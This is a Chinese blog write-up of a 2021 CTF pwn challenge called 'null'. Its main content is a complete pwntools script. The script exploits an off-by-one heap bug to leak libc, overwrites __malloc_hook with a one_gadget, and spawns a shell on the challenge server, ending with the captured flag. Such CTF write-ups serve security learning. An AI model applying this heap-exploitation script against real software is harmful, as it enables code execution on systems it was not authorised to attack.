2021年“绿城杯”网络安全大赛-PWN-null

本文解析了一道关于PWN-null的网络安全题目,涉及offbyone漏洞的利用技巧,通过分析add, delete, edit, show等函数,展示了如何构造payload,最终获取了DASCTF的旗面。
摘要由CSDN通过智能技术生成

2021年“绿城杯”网络安全大赛-PWN-null

题目名称:null
题目内容:off by…
题目分值:100.0
题目难度:容易
相关附件:null的附件13.txt

解题思路:

1.检查保护

在这里插入图片描述

2.函数分析

题目给了四个重要函数,add,delete,edit,show
add()
在这里插入图片描述
delete()
在这里插入图片描述edit()
在这里插入图片描述
show()
在这里插入图片描述

3.思路

发现有off by one漏洞,那我们利用off bye one + size错位
exp

from pwn import *

binary = "./null_pwn"
lib = "/lib/x86_64-linux-gnu/libc.so.6"
# p = process(binary)
p = remote("82.157.5.28","51304")

elf = ELF(binary)
libc = ELF(lib)
context.log_level = "debug"

s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim: p.recvuntil(delim)
rl = lambda: p.recvline()
rls = lambda n=2**20: p.recvlines(n)

def add(id,size,content):
	sal("Your choice :","1")
	sal("Index:",str(id))
	sal("Size of Heap : ",str(size))
	sa("Content?:",content)
def free(id):
	sal("Your choice :","2")
	sal("Index:",str(id))
def show(id):
	sal("Your choice :","4")
	sal("Index :",str(id))
def edit(id,content):
	sal("Your choice :","3")
	sal("Index:",str(id))
	sa("Content?:",content)

add(0,0x88,"A")
add(1,0x18,"B")
free(0)
add(0,1,"A")
show(0)
libc.address = u64(ru("\x7f")[-6:]+"\x00\x00")-33-0x10 - libc.sym["__malloc_hook"]
info("libc base => 0x%x"%libc.address)
add(0,0x68,"A")

add(0,0x18,"A")
add(1,0x18,"B")
add(2,0x68,"C")
add(3,0x18,"D")

free(2)
edit(0,"\x00"*0x18+chr(0x71+0x20))
free(1)

add(4,0x18,"E")
add(5,0x58,"F")
edit(5,p64(libc.sym["__malloc_hook"]-0x23))
add(6,0x68,"G")
add(7,0x68,"H")
# edit(7,"A")

ogg = [_+libc.address for _ in (0x45226,0x4527a,0xf03a4,0xf1247)]
og  = ogg[1]
edit(7,"\x00"*(0x13-8)+p64(og)+p64(libc.sym["realloc"]+16)+"\n")

sal("Your choice :","1")
sal("Index:",str(0))
sal("Size of Heap : ",str(0x20))

sh()

DASCTF{e811a98a6a325d5519a3a8706c90c721}


评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

夜白君

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值